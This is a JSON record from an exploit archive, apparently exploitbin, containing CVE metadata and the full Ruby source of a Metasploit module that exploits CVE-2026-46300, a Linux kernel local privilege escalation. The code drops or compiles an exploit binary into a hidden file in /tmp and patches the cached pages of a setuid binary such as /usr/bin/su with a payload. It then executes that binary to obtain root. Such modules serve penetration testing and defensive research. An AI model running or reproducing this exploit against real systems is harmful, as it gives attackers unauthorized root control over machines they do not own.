{"exploit":{"id":"MSF-linux--local--cve_2026_46300_fragnesia","name":"Fragnesia LPE (CVE-2026-46300)","description":"This module exploits CVE-2026-46300, a Linux kernel local privilege escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream is applied to page cache pages of the target file without enforcing write permissions. This allows an unprivileged attacker to overwrite arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported independently by different vendors, so there's release version from which each kernel is not vulnerable anymore.","cves":["CVE-2026-46300"],"author":"William Bowling, msutovsky-r7","published":"2026-05-14","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/local/cve_2026_46300_fragnesia.rb","path":"modules/exploits/linux/local/cve_2026_46300_fragnesia.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"cve_2026_46300_fragnesia.rb","vulnerabilities":[{"id":"CVE-2026-46300","state":"PUBLISHED","title":"net: skbuff: preserve shared-frag marker during coalescing","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46300","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46300"},"updatedAt":"2026-10-29T03:55:37.330Z","retrievedAt":"2026-11-25T16:15:50.157Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--local--cve_2026_46300_fragnesia.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--local--cve_2026_46300_fragnesia","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_46300_fragnesia/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_46300_fragnesia/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = GreatRanking\n\n  include Msf::Post::File\n  include Msf::Post::Architecture\n  include Msf::Post::Process\n  include Msf::Post::Linux::Priv\n  include Msf::Post::Linux::Kernel\n  include Msf::Post::Linux::System\n  include Msf::Post::Linux::Compile\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Fragnesia LPE (CVE-2026-46300)',\n        'Description' => %q{\n          This module exploits CVE-2026-46300, a Linux kernel local privilege\n          escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec\n          ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a\n          shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream\n          is applied to page cache pages of the target file without enforcing\n          write permissions. This allows an unprivileged attacker to overwrite\n          arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported\n          independently by different vendors, so there's release version from which each kernel is\n          not vulnerable anymore.\n        },\n        'References' => [\n          ['CVE', '2026-46300'],\n          ['URL', 'https://github.com/v12-security/pocs/tree/main/fragnesia']\n        ],\n        'Author' => [\n          'William Bowling', # discovery / PoC\n          'msutovsky-r7' # metasploit module\n        ],\n        'DisclosureDate' => '2026-05-14',\n        'License' => MSF_LICENSE,\n        'Arch' => ARCH_CMD,\n        'Platform' => ['linux', 'unix'],\n        'Targets' => [['Automatic', {}]],\n        'SessionTypes' => ['shell', 'meterpreter'],\n        'Privileged' => true,\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([\n      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),\n      OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])\n    ])\n  end\n\n  def check\n    # it is based on same principle as dirty frag, so we can check the same mitigations\n    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')\n\n    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?\n\n    sysinfo = get_sysinfo\n\n    if sysinfo[:distro] =~ /[uU]buntu/\n      apparmor_restriction = cmd_exec('sysctl kernel.apparmor_restrict_unprivileged_userns')\n      return CheckCode::Safe('Ubuntu system detected, cannot create unprivileged user namespaces, which exploit requires') unless apparmor_restriction =~ /apparmor_restrict_unprivileged_userns = 0/\n    end\n\n    vuln_modules = %w[esp ipcomp]\n\n    return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }\n\n    kernel_version = Rex::Version.new(kernel_release.split('-').first)\n\n    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')\n\n    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')\n  end\n\n  def exploit\n    # Check if we're already root\n    if !datastore['ForceExploit'] && is_root?\n      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'\n    end\n\n    suid_binary_path = datastore['SUID_BINARY_PATH']\n\n    fail_with(Failure::BadConfig, \"The #{suid_binary_path} isn't a setuid binary on target system\") unless setuid?(suid_binary_path)\n\n    payload_dir = datastore['WRITABLE_DIR']\n    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)\n\n    os_architecture = kernel_arch\n\n    vprint_status(\"Detected architecture: #{os_architecture}\")\n\n    cmd_payload = framework.payloads.create(\"linux/#{os_architecture}/exec\")\n    fail_with(Failure::NoTarget, \"#{os_architecture} targets are not supported.\") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')\n\n    cmd_payload.datastore['CMD'] = payload.encoded\n    cmd_payload.datastore['PrependSetuid'] = true\n    elf = cmd_payload.generate_simple('Format' => 'elf')\n\n    exploit_file = \"#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}\"\n\n    if live_compile?\n      vprint_status('Live compiling exploit on system...')\n      exploit_c = exploit_data('CVE-2026-46300', 'cve-2026-46300.c')\n      upload_and_compile(exploit_file, exploit_c)\n    else\n      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(os_architecture)\n      vprint_status('Dropping pre-compiled exploit on system...')\n      exploit_bin = exploit_data('CVE-2026-46300', \"cve-2026-46300_#{os_architecture}\")\n      upload_and_chmodx(exploit_file, exploit_bin)\n    end\n\n    register_file_for_cleanup(exploit_file)\n\n    if session.type == 'meterpreter'\n      suid_binary_size = session.fs.file.stat(suid_binary_path).stathash['st_size']\n    else\n      suid_binary_size = session.shell_command(\"stat -c %s #{suid_binary_path}\").to_i\n    end\n\n    print_status('Running the exploit')\n\n    fail_with(Failure::BadConfig, 'Payload too big for target setuid binary') unless suid_binary_size >= elf.size\n\n    # patch the in-memory pages of the setuid file\n    exploit_response = cmd_exec(\"echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}\")\n\n    fail_with(Failure::NotVulnerable, 'The target seems to be patched') unless exploit_response.blank?\n\n    sleep(1)\n    print_status('Exploit successful, running the in-memory patched setuid binary')\n\n    # run the payload\n    cmd_exec(suid_binary_path.to_s)\n  end\n\n  def on_new_session(session)\n    if session.type.eql?('meterpreter')\n      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')\n      session.sys.process.execute('/bin/sh', \"-c 'echo 1 | tee /proc/sys/vm/drop_caches'\")\n    else\n      session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches')\n    end\n    super\n  end\n\nend\n","sha256":"43f22de8a84de38485a9c71a8fb5c3dc4fa95346b902e45f534638dfb2fe9b3b","bytes":6582,"fetchedAt":"2026-11-25T16:31:00.998Z","encoding":"utf-8 (display only; download retains original bytes)"}